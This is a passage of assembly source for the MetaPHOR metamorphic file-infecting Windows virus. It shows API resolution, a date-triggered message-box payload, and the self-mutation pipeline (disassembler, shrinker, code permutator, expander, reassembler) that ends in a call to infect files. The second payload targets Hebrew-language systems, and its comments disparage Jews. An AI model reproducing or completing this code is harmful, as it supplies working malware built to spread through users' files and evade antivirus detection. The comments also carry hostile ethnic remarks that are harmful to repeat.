                mov     [ebp+RVA_SetEndOfFile], eax

                mov     eax, 'dniF'
                mov     [edx], eax
                mov     eax, 'sriF'
                mov     [edx+4], eax
                mov     eax, 'liFt'
                mov     [edx+8], eax
                mov     eax, 'Ae'
                mov     [edx+0Ch], eax
                call    GetFunction   ; Get FindFirstFileA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_FindFirstFileA], eax

                mov     eax, 'txeN'
                mov     [edx+4], eax
                mov     eax, 'eliF'
                mov     [edx+8], eax
                mov     eax, 'A'
                mov     [edx+0Ch], eax
                call    GetFunction   ; Get FindNextFileA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_FindNextFileA], eax

                mov     eax, 'solC'
                mov     [edx+4], eax
                mov     eax, 'e'
                mov     [edx+8], eax
                call    GetFunction   ; Get FindClose
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_FindClose], eax

                add     edx, 4
                mov     eax, 'dnaH'
                mov     [edx+5], eax
                mov     eax, 'el'
                mov     [edx+9], eax
                call    GetFunction   ; Get CloseHandle
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_CloseHandle], eax

                sub     edx, 4
                mov     edi, [ebp+hUser32] ; Maybe NULL, but it's allowed by
                mov     eax, 'sseM'        ; GetProcAddress
                mov     [edx], eax
                mov     eax, 'Bega'
                mov     [edx+4], eax
                mov     eax, 'Axo'
                mov     [edx+8], eax
                call    GetFunction   ; Get MessageBoxA (from User32.DLL)
                mov     [ebp+RVA_MessageBoxA], eax ; 0 if not found or library
                                                   ; not loaded

;; Let's initialize the random seed
                push    eax
                push    ecx
                push    edx ; APICALL_BEGIN

                mov     eax, [ebp+_BUFFER1_SECTION]
                add     eax, ebp
                push    eax
                call    dword ptr [ebp+RVA_GetSystemTime]

                pop     edx
                pop     ecx
                pop     eax ; APICALL_END

                mov     ebx, [ebp+_BUFFER1_SECTION]
                add     ebx, ebp
                mov     eax, [ebx+04h]
                add     eax, [ebx+0Ch]
                mov     [ebp+RndSeed1], eax
                add     eax, [ebx+08h]
                mov     [ebp+RndSeed2], eax

                call    Random
                call    Random  ; Garble it a little

   ;; Now let's make some mixtures in the weights. Since the weights are
   ;; going to be hardcoded on the virus code before its use, we make here
   ;; some "garblement" to force the evolution of the infection methods. With
   ;; this, only the most powerful features will "survive".

                xor     ecx, ecx
          @@LoopGarbleWeights:
                push    ecx
                and     ecx, 3
                mov     eax, ecx
                call    RandomBoolean_X000_3
                mov     eax, ecx
                call    RandomBoolean_X004_7
                mov     eax, ecx
                call    RandomBoolean_X008_11
                mov     eax, ecx
                call    RandomBoolean_X012_15
                mov     eax, ecx
                call    RandomBoolean_X016_19
                mov     eax, ecx
                call    RandomBoolean_X020_23
                pop     ecx
                add     ecx, 1
                cmp     ecx, 40h
                jnz   @@LoopGarbleWeights


                mov     eax, [ebp+RVA_MessageBoxA]
                or      eax, eax
                jz    @@NoPayload      ; If we couldn't retrieve MessageBoxA,
                                       ; skip the payload

;; Payload
;;---------
;; Simple, silly MessageBox with a metamorphic message :)
;; The message is "MetaPHOR v1 by The Mental Driller/29A" but selecting
;;  randomly the case of all letters.

                mov     edx, [ebp+_BUFFER1_SECTION]
                add     edx, ebp
                mov     eax, [edx+2]
                and     eax, 0FFh
                cmp     eax, 3           ; Month: March, June, September or
                jz    @@Payload_Month    ;    December
                cmp     eax, 6
                jz    @@Payload_Month
                cmp     eax, 9
                jz    @@Payload_Month
                cmp     eax, 0Ch
                jnz   @@CheckPayload2
       @@Payload_Month:
                mov     eax, [edx+6]
                and     eax, 0FFh
                cmp     eax, 11h         ; Day: 17
                jnz   @@CheckPayload2

                push    edx
                call    Random
                and     eax, 20202020h   ;; All the phrase is:
                add     eax, 'ATEM'      ;; "META"
                mov     [edx], eax       
                add     edx, 4
                call    Random
                and     eax, 20202020h
                add     eax, 'ROHP'      ;; "PHOR"
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 00200000h
                add     eax, ' B1 '      ;; " v1 "
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 20002020h
                add     eax, 'T YB'      ;; "BY T"
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 20002020h
                add     eax, 'M EH'      ;; "HE M"
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 20202020h
                add     eax, 'ATNE'      ;; "ENTA"
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 20200020h
                add     eax, 'RD L'      ;; "L DR"
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 20202020h
                add     eax, 'ELLI'      ;; "ILLE"
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 00000020h
                add     eax, '92/R'      ;; "R/29"
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 0FFFF0020h
                add     eax, 'A'         ;; "A"
                mov     [edx], eax
                pop     edx
                                  ; "METAPHOR v1 BY THE MENTAL DRILLER/29A"
                push    eax       ; with random upcases and lowcases.
                push    ecx
                push    edx  ; APICALL_BEGIN

                xor     eax, eax
                push    eax
                mov     eax, edx
                push    eax
                push    eax
                xor     eax, eax
                push    eax
                call    dword ptr [ebp+RVA_MessageBoxA]

                pop     edx
                pop     ecx
                pop     eax
                jmp   @@EndPayload


 ; Not so-silly 2nd part of the payload.
 ; We get the system language and, if it's hebrew, we show a message box with
 ; the message "Free Palestine!", my little contribution against the illegal
 ; occupation performed by the jews and supported by EEUU. The message will
 ; show on 14 May, the day that the state of Israel was declarated.
 ; Notice that I'm not supporting organizations like Hamas or shit like that,
 ; but it's true that jews began the war stealing the Palestinian home to
 ; the Palestinian People. Anyway, killing people is not the solution
 ; (wherever the side of the conflict they are in).


   @@CheckPayload2:
                mov     eax, [edx+2]
                and     eax, 0FFh
                cmp     eax, 5  ; May
                jnz   @@NoPayload
                mov     eax, [edx+6]
                and     eax, 0FFh
                cmp     eax, 0Eh ; 14th
                jnz   @@NoPayload                

                push    eax
                push    ecx
                push    edx
                call    dword ptr [ebp+RVA_GetSystemDefaultLCID]
                mov     [ebp+ReturnValue], eax
                pop     edx
                pop     ecx
                pop     eax

                mov     eax, [ebp+ReturnValue]
                and     eax, 0FFFFh
                cmp     eax, 040Dh    ; System language: hebrew?
                jnz   @@NoPayload


                push    edx
                mov     eax, 'eerF'
                mov     [edx], eax
                add     edx, 4
                mov     eax, 'laP '
                mov     [edx], eax
                add     edx, 4
                mov     eax, 'itse'
                mov     [edx], eax
                add     edx, 4
                mov     eax, '!en'    ; Show our disconformity with jewish
                mov     [edx], eax    ; invasion of Palestine and all their
                pop     edx           ; fascist acting up to date (in a
                                      ; peaceful way)

                push    eax
                push    ecx
                push    edx
                xor     eax, eax
                push    eax
                mov     eax, edx
                push    eax
                push    eax
                xor     eax, eax
                push    eax
                call    dword ptr [ebp+RVA_MessageBoxA]
                pop     edx
                pop     ecx
                pop     eax

   @@EndPayload:
   @@NoPayload:


;; Now we are going to get random frames for variables, dissasembly, etc. for
;; the next generation usage. These variables must be passed "from the
;; outside" (as parameters from the loader/decryptor).
;;
;; Sizes of frames:
;; CODE_SECTION      =  80000h
;; DISASM_SECTION    = 100000h
;;    LABEL_SECTION     =  10000h +
;;    VARIABLE_SECTION  =  10000h +
;;    BUFFER1_SECTION   =  10000h +
;;    BUFFER2_SECTION   =  10000h +
;;    VAR_MARKS_SECTION =  20000h =
;; BUFFERS_SECTION   =  60000h
;; DATA_SECTION      =  20000h
;; DISASM2_SECTION   = 100000h
;;                 -----------
;;                     300000h
;; We always reserve 3'4 Mb of virtual memory at least, so we can add a random
;; shifting up to 256 Kb (40000h bytes)

                mov     esi, [ebp+_DISASM_SECTION]
                add     esi, ebp
                xor     eax, eax  ; Let's fabricate a random permutation of
                push    esi       ; the sequence 0,1,2,3,4,5. 
      @@LoopGarbleSect_01:
                mov     ebx, eax
                add     eax, 1
                mov     ecx, eax
                add     eax, 1
                mov     edx, eax
                add     eax, 1
                push    eax
                call    Xp_GarbleRegisters ; Garble EBX, ECX and EDX
                pop     eax
                mov     [esi], ebx
                mov     [esi+4], ecx
                mov     [esi+8], edx  ; Store the garbled sequence
                add     esi, 0Ch
                cmp     eax, 6
                jnz   @@LoopGarbleSect_01 ; Repeat it again (get 4,5,6)

                pop     esi
                push    esi
                mov     ecx, 2   ; Now garble the <0,1,2> with the <3,4,5>
      @@LoopGarbleSect_02:
                push    ecx
                mov     ebx, [esi]      ; Get value at position 0,2,4 and
                mov     ecx, [esi+08h]  ; garble it
                mov     edx, [esi+10h]
                call    Xp_GarbleRegisters
                mov     [esi], ebx
                mov     [esi+08h], ecx
                mov     [esi+10h], edx  ; Store the shuffling
                pop     ecx
                add     esi, 4
                sub     ecx, 1
                or      ecx, ecx
                jnz   @@LoopGarbleSect_02 ; Make it with positions 1,3,5
                pop     esi

                mov     ecx, 6
                xor     edx, edx   ; Initialize adder
      @@LoopGarbleSect_03:
                call    Random
                and     eax, 7FFFh ; *5 = 40000h ; Add a random shifting
                add     edx, eax

                mov     eax, [esi]
                or      eax, eax               ; 0?
                jz    @@GarbleSect_CodeSection ; Then set CODE_SECTION address
                cmp     eax, 1                   ; 1?
                jz    @@GarbleSect_DisasmSection ; Then, DISASM_SECTION
                cmp     eax, 2
                jz    @@GarbleSect_BuffersSection ; 2: BUFFERS_SECTION
                cmp     eax, 3
                jz    @@GarbleSect_DataSection   ; 3: DATA_SECTION
                cmp     eax, 4
                jnz   @@GarbleSect_Next          ; 4: DISASM2_SECTION
      @@GarbleSect_Disasm2Section:
                mov     [ebp+New_DISASM2_SECTION], edx
                add     edx, 100000h      ; Add size of section to adder
                jmp   @@GarbleSect_Next
      @@GarbleSect_CodeSection:
                mov     [ebp+New_CODE_SECTION], edx
                add     edx, 80000h       ; Add size of section to adder
                jmp   @@GarbleSect_Next
      @@GarbleSect_DisasmSection:
                mov     [ebp+New_DISASM_SECTION], edx
                add     edx, 100000h      ; Add size of section to adder
                jmp   @@GarbleSect_Next
      @@GarbleSect_BuffersSection:
                mov     [ebp+New_BUFFERS_SECTION], edx
                add     edx, 60000h       ; Add size of section to adder
                jmp   @@GarbleSect_Next
      @@GarbleSect_DataSection:
                mov     [ebp+New_DATA_SECTION], edx
                add     edx, 20000h       ; Add size of section to adder
      @@GarbleSect_Next:
                add     esi, 4
                sub     ecx, 1
                or      ecx, ecx
                jnz   @@LoopGarbleSect_03


;; Now we can start with the selfmutation

;; Disassembler:
;;
;; It disassembles the code starting at ESI (entrypoint) to a pseudoassembler
;; that is easier to handle. This pseudoassembler will be used along the
;; mutation instead of the direct machine code.

                mov     eax, [ebp+_DISASM_SECTION]
                add     eax, ebp                    ; Set the address of
                mov     [ebp+InstructionTable], eax ; the instruction table
                mov     eax, [ebp+_LABEL_SECTION]
                add     eax, ebp                    ; Address of the label
                mov     [ebp+LabelTable], eax       ; table
                mov     eax, [ebp+_BUFFER1_SECTION]
                add     eax, ebp                    ; Temporary table for the
                mov     [ebp+FutureLabelTable], eax ; storadge of labels
                mov     eax, [ebp+_DISASM2_SECTION]
                add     eax, ebp                    ; Temporary buffer to mark
                mov     [ebp+PathMarksTable], eax   ; the path of the code

                mov     esi, [ebp+_CODE_SECTION]
                add     esi, ebp                ; ESI = Start of code
                call    DisasmCode              ; Disassemble  the code
                nop     ; NOP for debugging: Place for the debugger to put the
                        ; INT 3. It will be eliminated by the disassembler,
                        ; since all the one-byte instructions such CLC, INT 3,
                        ; etc. are NOPed
                ; It returns EDI = Address of last instruction

                mov     [ebp+AddressOfLastInstruction], edi ; Set last instr.


;; Shrinker
;;
;; It compresses all the redundancies and obfuscations that the expander did
;; in previous generations.

                call    ShrinkCode  ; Compress the code

;; Variable identificator:
;;
;; It scans the code to get instructions that use memory addresses and then
;; it converts them to a reference to a table of variables. After this, we
;; reselect the addresses of the variables.

                mov     eax, [ebp+_VARIABLE_SECTION]
                add     eax, ebp                  ; Set the address to the
                mov     [ebp+VariableTable], eax  ; table of variables
                mov     eax, [ebp+_VAR_MARKS_SECTION]
                add     eax, ebp                  ; Set the buffer that marks
                mov     [ebp+VarMarksTable], eax  ; the variables positions
                                                  ; to know if a given address
                                                  ; is already in the table
                                                  ; or it's a free address
                mov     ecx, [ebp+DeltaRegister] ; The delta register is used
                                                 ; to know what is an internal
                                                 ; variable and what's not
                call    IdentifyVariables  ; Identfy them and construct the
                                           ; table of variables

;; Code permutator
;;
;; It shuffles the code and insert jumps between to link the moved blocks,
;; updating also all the labels to point to the new location.

                mov     eax, [ebp+_BUFFER1_SECTION]
                add     eax, ebp               ; Temporary buffer to construct
                mov     [ebp+FramesTable], eax ; the permutation frames
                mov     eax, [ebp+_DISASM2_SECTION]
                add     eax, ebp                     ; Place where we store
                mov     [ebp+PermutationResult], eax ; the permutated code
                mov     eax, [ebp+_BUFFER2_SECTION]
                add     eax, ebp               ; Buffer to store jumps to fix
                mov     [ebp+JumpsTable], eax  ; while permutating
                call    PermutateCode
                                  ; Permutate the code (in pseudoassembler)

                ; Returns [AddressOfLastInstruction] updated to point to the
                ; last instruction + 10h in [PermutationResult] address
                mov     eax, [ebp+PermutationResult]
                mov     [ebp+InstructionTable], eax ; Set the new instr. table

;; Code expander
;;
;; It generates alternatives for every instruction coded in our pseudo-ASM.
;; It's generated in a way that we only have to code every instruction
;; directly to have a very different look of the previous program, but keeping
;; the functionality unchanged. It also translates all registers into new
;; ones (except ESP, of course).

                xor     eax, eax                   ; Tell the expander that
                mov     [ebp+CreatingADecryptor], eax ; we are mutating the
                                                      ; virus body
                mov     eax, [ebp+_DISASM_SECTION]
                add     eax, ebp              ; Set the destiny address of the
                mov     [ebp+ExpansionResult], eax  ; expansion/obfuscation
                xor     eax, eax                     ; Set the recursivity
                mov     [ebp+SizeOfExpansion], eax   ; to 3 (from 0 to 3)
                call    XpandCode             ; Redo all instructions

                ; Returns [AddressOfLastInstruction] updated

;; Code assembler
;;
;; It assembles the code previously obfuscated and expanded by the expander

                mov     eax, [ebp+ExpansionResult]
                mov     [ebp+InstructionTable], eax  ; _DISASM_SECTION
                mov     eax, [ebp+_DISASM2_SECTION]
                add     eax, ebp                     ; Set the address where
                mov     [ebp+NewAssembledCode], eax  ; the reassembling result
                                                     ; will be stored
                mov     eax, [ebp+_VARIABLE_SECTION]
                add     eax, ebp                     ; Use this address for
                mov     [ebp+NewLabelTable], eax     ; temporary storadge
                mov     eax, [ebp+_BUFFER1_SECTION]
                add     eax, ebp                       ; Another buffer for
                mov     [ebp+JumpRelocationTable], eax ; temporary storadge
                call    AssembleCode         ; Convert the code to x86

;; Here we have:
;; [NewAssembledCode] = _DISASM2_SECTION = New code
;; [SizeOfNewCode] = Size of new code (oh, no! really??? :)
;; [RoundedSizeOfNewCode] = Size of new code rounded to pages (4 Kb)
;; From now, every section is free except CODE_SECTION, DATA_SECTION and
;;   DISASM2_SECTION.

;; Now let's make the action that gives this program the attribute of a
;; computer virus: INFECT

                mov     eax, [ebp+_DISASM_SECTION]
                add     eax, ebp                       ; Code the decryptor
                mov     [ebp+DecryptorPseudoCode], eax ; here in pseudo-asm
                add     eax, 80000h
                mov     [ebp+AssembledDecryptor], eax  ; Assemble it here

                mov     eax, [ebp+_BUFFER2_SECTION]
                add     eax, ebp                  ; Temporary buffer for the
                mov     [ebp+FindFileData], eax   ; FindFile functions
                mov     eax, [ebp+_BUFFER1_SECTION]
                add     eax, ebp                  ; Buffer for several
                mov     [ebp+OtherBuffers], eax   ; actions
                call    InfectFiles    ; Infect!
      @@Error:
                ret             ; Return to the host and finish
Main            endp

;; Function to get the address of the module passed in ASCII. It will convert
;; the string to UNICODE if the GetModuleHandle function is GetModuleHandleW.

APICall_GetModuleHandle proc
                mov     eax, [ebp+FlagAorW] ; Get A or W
                or      eax, eax            ; A?
                jz    @@UseGMHA             ; Then, use the string as is
                mov     ebx, edx
                add     ebx, 20h    ; Go to the end of the string buffer (W)
                mov     ebx, edx
                add     ecx, 10h    ; Go to the end of the string buffer (A)
    @@LoopConvertToWideChar:
                mov     eax, [ecx]  ; Get a letter
                and     eax, 0FFh   ; Make it zero-extended (in words)
                mov     [ebx], eax  ; Store it
                sub     ecx, 1      ; Decrease the ASCII address in 1
                sub     ebx, 2      ; Decrease the UNICODE address in 2
                cmp     ecx, edx    ; Are we at the end of the buffer
                jnz   @@LoopConvertToWideChar  ; If not, loop again
    @@UseGMHA:  push    edx                     ; Store parameter
                call    dword ptr [ebp+RVA_GetModuleHandle] ; Call the API
                mov     [ebp+ReturnValue], eax  ; Store the module handle
                ret
APICall_GetModuleHandle endp

; EDI = Handle of module
; EDX = Buffer where we have the function name
GetFunction     proc
                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN

                mov     eax, edx  ; We do this to avoid many continuous PUSHes
                push    eax       ; Store function name and module handle
                mov     eax, edi
                push    eax
                call    dword ptr [ebp+RVA_GetProcAddress]  ; Call API
                mov     [ebp+ReturnValue], eax
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END
                mov     eax, [ebp+ReturnValue] ; Get the function address
                ret
GetFunction     endp

;; KEYWORD: Key_!Disassembler
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; *********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The disassembler
;; ----------------
;;
;; The disassembler is the module that converts the machine code into our
;; pseudo-assembler in the addresses we gave it.
;;
;; The codification of every instruction of the generated pseudo-assembler
;; is as follows (extracted from the article I wrote about metamorphism and
;; this engine):
;;
;; ---------------------------------------------------------------------------
;;
;; The MetaPHOR internal pseudo-assembler follows the next rules:
;;
;;     a) All the instructions are 16-bytes long (but this can change in the
;;      future to handle 64-bits processors, like the Itanium).
;;
;;     b) The structure of the instruction is always the same for all them:
;;
;;        General structure:
;;
;;        16 bytes per instruction,
;;
;;        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;;        OP *----- instruction data ----* LM *-pointer-*
;;
;;        OP is the opcode of the instruction. Depending on the opcode we use
;;         an instruction data structure or other.
;;
;;        LM is "Label Mark". Its value is 1 when a label is pointing to this
;;         instruction, and can be used for quite things, for example to know
;;         if two instructions can be shrinked or not (they can't if the second
;;         one has a label over it). It's at +0B in the instruction.
;;
;;        The dword at +0C is a pointer that means "last code reference". On
;;        disassembly this means the EIP where this instruction is pointing to
;;        its original codification, but while we are advancing in the code
;;        treatment we store here references to the last situation of the
;;        instruction. This helps to make modifications to the table of labels,
;;        to recode the displacement instructions (JMP, CALL, etc.) and more.
;;
;;
;;       Now the structures that the engine uses in the instructions:
;;
;;        Memory_address_struct:
;;           +01: First index
;;           +02: Second index, bits 7&6 are the multiplicator (00=*1,01=*2,
;;                                                              10=*4,11=*8)
;;           +03: DWORD addition to indexes
;;
;;
;;
;;        Depending on the opcode (the operation to perform), the following
;;        means:
;;
;;        - If operation has no operand (NOP, RET, etc). nothing in the instr.
;;         data is performed
;;
;;        - If operation has one operand:
;;
;;           Register operand:
;;              +01: Register
;;
;;           Memory address:
;;              +01: Memory address struct
;;
;;           Immediate value:
;;              +07: DWORD value, zero extended if it's a byte operation
;;
;;           Destiny address (JMP, CALL, etc.)
;;              +01: Label to jump to (DWORD)
;;
;;        - If operation has two operands:
;;
;;           Reg,Imm:
;;              +01: Register
;;              +07: DWORD immediate value, zero extended if it's a 8-bits op.
;;
;;           Reg,Reg:
;;              +01: Source register
;;              +07: Destiny register
;;
;;           Reg,Mem:
;;              +01: Memory address struct
;;              +07: Destiny register
;;
;;           Mem,Reg:
;;              +01: Memory address struct
;;              +07: Source register
;;
;;           Mem,Imm:
;;              +01: Memory address struct
;;              +07: DWORD immediate value, zero extended if it's a 8-bits op.
;;
;;
;;  From this rules, now we use the next pseudo-opcodes:
;;
;;    00: ADD, 08: OR, 20: AND, 28: SUB, 30: XOR, 38: CMP, 40: MOV, 48: TEST
;;
;;    Set rules: +00: Reg,Imm
;;               +01: Reg,Reg
;;               +02: Reg,Mem
;;               +03: Mem,Reg
;;               +04: Mem,Imm
;;               +80: 8 bits operation
;;
;;    So, opcode 83 means ADD Mem,Reg using 8-bits operands, and so on.
;;
;;    50: PUSH Reg
;;    51: PUSH Mem
;;    58: POP Reg
;;    59: POP Mem
;;    68: PUSH Imm
;;    70-7F: Conditional jumps
;;    E0: NOT Reg
;;    E1: NOT Mem
;;    E2: NOT Reg8
;;    E3: NOT Mem8
;;    E4: NEG Reg
;;    E5: NEG Mem
;;    E6: NEG Reg8
;;    E7: NEG Mem8
;;    E8: CALL label
;;    E9: JMP label
;;    EA: CALL Mem (used for API calls)
;;    EB: JMP Mem (used for obfuscation in API calls)
;;    EC: CALL Reg (obfuscation of API calls)
;;    ED: JMP Reg (idem)
;;
;;    F0: SHIFT Reg,Imm
;;    F1: SHIFT Mem,Imm
;;    F2: SHIFT Reg8,Imm
;;    F3: SHIFT Mem8,Imm
;;        For all SHIFTs:
;;        +07: Byte with the value of rotation/shifting
;;        +08: Operation performed: 0: ROL, 8: ROR, 20: SHL, 28: SHR
;;    F4: APICALL_BEGIN
;;        Special operation meaning PUSH EAX/PUSH ECX/PUSH EDX that avoids
;;        the recoding of these registers, always remaining the same.
;;    F5: APICALL_END
;;        The complementary of APICALL_BEGIN, it means POP EDX/POP ECX/POP EAX
;;    F6: APICALL_STORE
;;        +01: Memory address struct
;;        This always means: MOV [Mem],EAX <-- Avoiding the recoding of EAX
;;    F7: SET_WEIGHT
;;        +01: Memory address struct
;;        +07: Weight item identificator
;;        +08: Register 1
;;        +09: Register 2
;;    F8: MOVZX
;;        Memory address struct is a 8-bits operand, while +07 is a 32 bit reg.
;;    FC: LEA
;;    FE: RET
;;    FF: NOP
;; ---------------------------------------------------------------------------
;;
;; The decodification, as you will see, it's not arbitrary, I mean, there
;; is a reason for every format of decodification in every instruction.
;; Although many times the format is in that way due to thinking on simplicity,
;; other times I changed the format to make code reduction easier.

;;  ESI = Start of code to dissasemble
DisasmCode      proc
                xor     eax, eax
                mov     [ebp+NumberOfLabels], eax  ; Initialize the number of
                mov     [ebp+NumberOfLabelsPost], eax ; labels and the number
                                                      ; of buffered labels
                mov     ecx, 80000h/4       ; Initialize the path marks
                mov     edi, [ebp+PathMarksTable]
                xor     eax, eax
      @@LoopInitializePathTable:
                mov     [edi], eax       ; Fill all the buffers with 0
                add     edi, 4
                sub     ecx, 1
                or      ecx, ecx
                jnz   @@LoopInitializePathTable

                mov     edi, [ebp+InstructionTable]

  ;; Let's disassemble the given code address (ESI) into the buffer where we
  ;;construct the whole code in pseudoassembler (EDI)
      @@LoopTrace:
      @@CheckCurrentLabel:
                mov     eax, esi        ; Check if the current code is already
                sub     eax, [ebp+_CODE_SECTION]   ; disassembled
                sub     eax, ebp
                add     eax, [ebp+PathMarksTable]
                mov     eax, [eax]      ; If the mark in the path is != 0,
                and     eax, 0FFh       ; then it's already disassembled.
                cmp     eax, 1
                jnz   @@CheckIfFutureLabelArrived

   ;; If it's already disassembled, it's because the current code is inside
   ;; a loop, or is referenced by a label that we disassembled before. So, we
   ;; find the referenced code and we insert a JMP to there, and after that we
   ;; get a new EIP from the list of "future labels".
                mov     edx, [ebp+InstructionTable] ; Get the first instruction
        @@CheckCurrEIP_001:
                mov     eax, [edx+0Ch]   ; Search the pointer at all the
                cmp     eax, esi         ; disassembled instructions. When we
                jz    @@ItsTheCurrentEIP ; find it, we'll insert a JMP to that
                add     edx, 10h         ; instruction.
                jmp   @@CheckCurrEIP_001
        @@ItsTheCurrentEIP:
                mov     [edi+0Ch], esi  ; Set the new pointer.
                mov     eax, [edi+0Bh]  ; Get the label mark.
                and     eax, 0FFFFFF00h ; Clear it.
                mov     [edi+0Bh], eax
                mov     eax, 0E9h       ; Set the JMP to the already
                mov     [edi], eax      ; disassembled code
                mov     eax, esi
                mov     ebx, edx        ; Insert the label
                call    InsertLabel
                mov     [edi+1], edx
                add     edi, 10h        ; Increment the EIP

     ; Now get a new EIP to disassemble.
                mov     ecx, [ebp+NumberOfLabelsPost] ; Get the number of
                or      ecx, ecx  ; labels. If it's 0, we haven't more branches
                jz    @@FinDeTraduccion ; to disassemble, so we finish and
                                        ; return.
                mov     ebx, [ebp+FutureLabelTable] ; Get the table address
      @@LoopCheckOtherFutureLabel:      ; Look for a not disassembled label
                mov     eax, [ebx]
                cmp     eax, esi
                jz    @@OtherFutureLabelFound
      @@LoopSearchOtherFutureLabel:
                add     ebx, 8
                sub     ecx, 1
                or      ecx, ecx
                jnz   @@LoopCheckOtherFutureLabel
                                       ; Now we have a new EIP in ESI
                mov     ecx, [ebp+NumberOfLabelsPost]
                mov     ebx, [ebp+FutureLabelTable]
      @@LoopCheckOtherFutureLabel2:
                mov     eax, [ebx]     ; Check the other labels at the table.
                or      eax, eax       ; If we found one already disassembled,
                jz    @@LoopSearchOtherFutureLabel2 ; we eliminate it from the
                sub     eax, ebp       ; list and insert the new label in the
                sub     eax, [ebp+_CODE_SECTION]   ; table of definitive
                add     eax, [ebp+PathMarksTable]  ; labels.
                mov     eax, [eax]
                and     eax, 0FFh
                cmp     eax, 1
                jz    @@ReleaseLabelsInThatAddress
      @@LoopSearchOtherFutureLabel2:
                add     ebx, 8
                sub     ecx, 1
                or      ecx, ecx
                jnz   @@LoopCheckOtherFutureLabel2
                jmp   @@GetEIPFromFutureLabelList

       @@ReleaseLabelsInThatAddress:
                push    ebx            ; Release the label. This means store
                push    ecx            ; the labels already disassembled in the
                mov     esi, [ebx]     ; definitive label table, and all that.
                call    ReleaseFutureLabels ; It checks the current EIP in ESI.
                pop     ecx
                pop     ebx
                jmp   @@LoopSearchOtherFutureLabel2

        @@OtherFutureLabelFound:
                mov     eax, [ebx+4]    ; Set the label at the JUMP or
                mov     [eax+1], edx    ; displacement instruction
                xor     eax, eax
                mov     [ebx], eax      ; Eliminate the label from the future
                jmp   @@LoopSearchOtherFutureLabel ; label list

     @@CheckIfFutureLabelArrived:
                mov     eax, [edi+0Bh]  ; Clear the label mark...
                and     eax, 0FFFFFF00h
                mov     [edi+0Bh], eax
                call    ReleaseFutureLabels ; ...and release the temporary
                                            ; labels
      @@SigueInstr:
                mov     [edi+0Ch], esi  ; Set the current EIP at the pointer
                mov     ebx, esi        ; field.
                sub     ebx, [ebp+_CODE_SECTION]
                sub     ebx, ebp
                add     ebx, [ebp+PathMarksTable]
                mov     eax, [ebx]
                or      eax, 1
                mov     [ebx], eax      ; Mark address as already decoded

                mov     eax, [esi]      ; Get the opcode
                and     eax, 0FFh
                cmp     eax, 3Fh       ; OP Reg,Reg, Mem,Reg or Reg,Mem?
                jbe   @@GenericOpcode
                cmp     eax, 47h       ; INC Reg?
                jbe   @@Op_INC
                cmp     eax, 4Fh       ; DEC Reg?
                jbe   @@Op_DEC
                cmp     eax, 5Fh       ; PUSH Reg/POP Reg?
                jbe   @@Op_PUSHPOP
                cmp     eax, 68h       ; PUSH Imm?
                jz    @@Op_PUSHValue
                cmp     eax, 6Ah       ; PUSH sign-extended Imm?
                jz    @@Op_PUSHSignedValue
                cmp     eax, 70h       ; Short conditional jump?
                jb    @@SigueInstr_00
                cmp     eax, 7Fh
                jbe   @@Jcc
       @@SigueInstr_00:
                cmp     eax, 80h       ; Reg,Imm or Mem,Imm?
                jb    @@SigueInstr_01
                cmp     eax, 83h
                jbe   @@GenericOpcode2
       @@SigueInstr_01:
                cmp     eax, 84h        ; TEST
                jz    @@Gen_8b_MemReg
                cmp     eax, 85h        ; TEST
                jz    @@Gen_32b_MemReg
;                 cmp     eax, 86h        ; XCHG
;                 jz    @@Gen_8b_MemReg
;                 cmp     eax, 87h        ; XCHG
;                 jz    @@Gen_32b_MemReg
                cmp     eax, 8Bh        ; MOV?
                jbe   @@GenericOpcode
                cmp     eax, 8Dh        ; LEA
                jz    @@LEA
                cmp     eax, 8Fh        ; POP Mem?
                jz    @@POPMem
                cmp     eax, 90h        ; NOP?
                jz    @@NOP
;                 cmp     eax, 97h      ; Disabled instructions
;                 jbe   @@XCHGWithEAX
;                 cmp     eax, 0A0h
;                 jz    @@MOVALMem
;                 cmp     eax, 0A1h
;                 jz    @@MOVEAXMem
;                 cmp     eax, 0A2h
;                 jz    @@MOVMemAL
;                 cmp     eax, 0A3h
;                 jz    @@MOVMemEAX
                cmp     eax, 0A8h       ; TEST AL,xx?
                jz    @@TESTALValue
                cmp     eax, 0A9h       ; TEST EAX,xx?
                jz    @@TESTEAXValue
                cmp     eax, 0B0h       ; MOV Reg8,xx?
                jb    @@SigueInstr_02
                cmp     eax, 0B7h
                jbe   @@MOVReg8Value
                cmp     eax, 0BFh       ; MOV Reg,xxx?
                jbe   @@MOVRegValue
       @@SigueInstr_02:
                cmp     eax, 0C0h       ; SHIFT,1? (ROL,ROR,etc. with 8 bits)
                jz    @@BitShifting8
                cmp     eax, 0C1h       ; SHIFT,1 with 32 bits?
                jz    @@BitShifting32
                cmp     eax, 0C3h       ; RET?
                jz    @@RET
                cmp     eax, 0C6h       ; MOV Mem8,Imm?
                jz    @@MOVMem8Value
                cmp     eax, 0C7h       ; MOV Mem,Imm?
                jz    @@MOVMem32Value
                cmp     eax, 0D0h       ; SHIFT,x with 8 bits?
                jz    @@BitShifting8
                cmp     eax, 0D1h       ; SHIFT,x with 32 bits?
                jz    @@BitShifting32

        ;; In this gap there are obsolete instructions, copro ones and
        ;; other that we aren't going to use (for the moment), so decode
        ;; them it's not worthy.

                cmp     eax, 0E8h       ; CALL?
                jz    @@CALL
                cmp     eax, 0E9h       ; Long JMP?
                jz    @@JMP
                cmp     eax, 0EBh       ; Short JMP?
                jz    @@JMP8
